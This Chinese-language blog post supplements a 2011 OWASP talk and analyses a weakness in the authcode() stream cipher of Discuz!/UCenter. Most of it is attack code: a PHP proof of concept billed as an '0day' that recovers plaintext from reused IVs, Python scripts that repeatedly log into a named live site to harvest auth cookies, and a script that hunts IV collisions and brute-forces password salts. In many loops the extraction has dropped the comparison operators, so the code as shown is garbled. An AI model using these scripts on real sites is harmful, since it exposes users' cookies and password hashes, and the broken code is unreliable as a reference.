与上一篇一样,此文是2011 OWASP主题演讲的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。 Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):======================================================================// $string: 明文 或 密文 // $operation:DECODE表示解密,其它表示加密 // $key: 密匙 // $expiry:密文有效期 //字符串解密加密 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 (初始化向量IV) $ckey_length = 4; // 随机密钥长度 取值 0-32; // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv) // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时,则不产生随机密钥 // 密匙 $key = md5($key ? $key : UC_KEY); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 (初始化向量IV) $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度 for($j = $i = 0; $i $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } ====================================================================== 在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。 IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。 而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。 如下演示代码: define('UC_KEY','asdfasfas'); $plaintext1 = "2626";$plaintext2 = "2630"; $guess_result = ""; $time_start = time(); $dict = array();global $ckey_length;$ckey_length = 4; echo "== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n";echo "== 0day by axis ==\n";echo "== 2011.9.2 ==\n\n"; echo "Collecting Dictionary(XOR Keys).\n"; $cipher2 = authcode($plaintext2, "ENCODE" , UC_KEY); $counter = 0;for (;;){ $counter ++; $cipher1 = authcode($plaintext1, "ENCODE" , UC_KEY); $keyc1 = substr($cipher1, 0, $ckey_length); $cipher1 = base64_decode(substr($cipher1, $ckey_length)); $dict[$keyc1] = $cipher1; if ( $counter%1000 == 0){ echo "."; if ($guess_result = guess($dict, $cipher2)){ break; } } } array_unique($dict); echo "\nDictionary Collecting Finished..\n";echo "Collected ".count($dict)." XOR Keys\n"; function guess($dict, $cipher2){ global $plaintext1,$ckey_length; $keyc2 = substr($cipher2, 0, $ckey_length); $cipher2 = base64_decode(substr($cipher2, $ckey_length)); for ($i=0; $i if (array_key_exists($keyc2, $dict)){ echo "\nFound key in dictionary!\n"; echo "keyc is: ".$keyc2."\n"; return crack($plaintext1,$dict[$keyc2],$cipher2); break; } } return False;} echo "\ncounter is:".$counter."\n";$time_spend = time() - $time_start;echo "crack time is: ".$time_spend." seconds \n";echo "crack result is :".$guess_result."\n"; function crack($plain, $cipher_p, $cipher_t){ $target = ''; $tmp_p = substr($cipher_p, 26); echo hex($tmp_p)."\n"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t)."\n"; for ($i=0;$i $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target;} function hex($str){ $result = ''; for ($i=0;$i $result .= "\\".ord($str[$i]); } return $result;} function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { global $ckey_length; //$ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } //$xx = ''; // real key for($a = $j = $i = 0; $i $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; //$xx .= chr($box[($box[$a] + $box[$j]) % 256]); $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } //echo "xor key is: ".hex($xx)."\n"; if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }} ?> 测试效果: 在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。 以下演示代码,将从一个网站中遍历出重复的IV。 每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。grab_cipher1.py:======================================================================import string import urllib2import urllib#from urlparse import urlparse import httplib import Cookieimport sqlite3import base64import operator #url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"#req = urllib2.Request(url,data,headers) #f = urllib2.urlopen(req) # Step1 get cipher1 of plaintext1 to generate dictionary dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor()# 如果是第一次执行,需要创建表,之后则不再需要#c.execute('CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)') dbcon.text_factory = str for i in range(0,10000): headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20', 'Content-Type':'application/x-www-form-urlencoded', 'Referer':'http://photo003.com/', 'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'} data = {'username':'请替换username','password':'请替换pass','quickforward':'yes','handlekey':'ls'} data = urllib.urlencode(data) conn = httplib.HTTPConnection("photo003.com") conn.request('POST', '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1', data, headers) res = conn.getresponse() if res: cookies = Cookie.SimpleCookie() cookies.load(res.getheader("Set-Cookie")) authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value) iv = authcookie[0:4] cipher = base64.b64decode(authcookie[4:]) c.execute('INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)',(iv, cipher)) dbcon.commit() print str(i) + ' ' + iv====================================================================== grab_cipher2.py: ======================================================================import string import urllib2import urllib#from urlparse import urlparse import httplib import Cookieimport sqlite3import base64import operator #url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"#req = urllib2.Request(url,data,headers) #f = urllib2.urlopen(req) # Step1 get cipher1 of plaintext1 to generate dictionary dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor()#c.execute('CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)') dbcon.text_factory = str for i in range(0,10000): headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20', 'Content-Type':'application/x-www-form-urlencoded', 'Referer':'http://photo003.com/', 'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'} data = {'username':'请替换username2','password':'请替换pass2','quickforward':'yes','handlekey':'ls'} data = urllib.urlencode(data) conn = httplib.HTTPConnection("photo003.com") conn.request('POST', '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1', data, headers) res = conn.getresponse() if res: cookies = Cookie.SimpleCookie() cookies.load(res.getheader("Set-Cookie")) authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value) iv = authcookie[0:4] cipher = base64.b64decode(authcookie[4:]) c.execute('INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)',(iv, cipher)) dbcon.commit() print str(i) + ' ' + iv ====================================================================== crack_discuz_authcode.py:======================================================================import string import urllib2import urllib#from urlparse import urlparse import httplib import Cookieimport sqlite3import base64import operatorimport md5import random def crack(plain1, cipher1, cipher2): plain2 = '' for i in range(0,len(plain1)): ch = operator.xor(ord(plain1[i]), ord(cipher1[i])) plain2 += chr(operator.xor(ch, ord(cipher2[i]))) return plain2 def bytecode(st): s = '' for c in st: s = s + str(ord(c)) + ',' return s def list_iv_collision(): dbcon = sqlite3.connect('./authcode.db') c = dbcon.cursor() dbcon.text_factory = str c.execute('select * from photo003_2626') r1 = c.fetchall() c.execute('select * from photo003_2630') r2 = c.fetchall() if r1 and r2: for c1 in r1: for c2 in r2: if c1[1] == c2[1]: print c1[1] + ' ' + c2[1] c.close() dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor() dbcon.text_factory = str list_iv_collision() #################################### 下面的代码尝试破解salt,此功能尚未完成###################################iv = "dee5"pwd = "password" c.execute('select * from photo003_2626 where iv=?', (iv,))r1 = c.fetchone() c.execute('select * from photo003_2630 where iv=?', (iv,))r2 = c.fetchone() if r1 and r2: for x in range(0,99999999): csets = "abcdefghijklmnopqrstuvwxyz0123456789" salt = '' for i in range(0,6): salt += random.choice(csets) plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + '\t' + '2626' #print salt #print plain1 plain2 = crack(plain1, r1[2][26:], r2[2][26:] ) #print plain2 if plain1[0:32] == plain2[0:32]: print salt print 'counter is:' + str(x) break if x%100000 == 0: print str(x) + ' ' + salt c.close() ====================================================================== 测试效果: 在十几分钟内就能收集到很多重复的IV。 通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。 authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。 最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。 这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。 01-14 18:57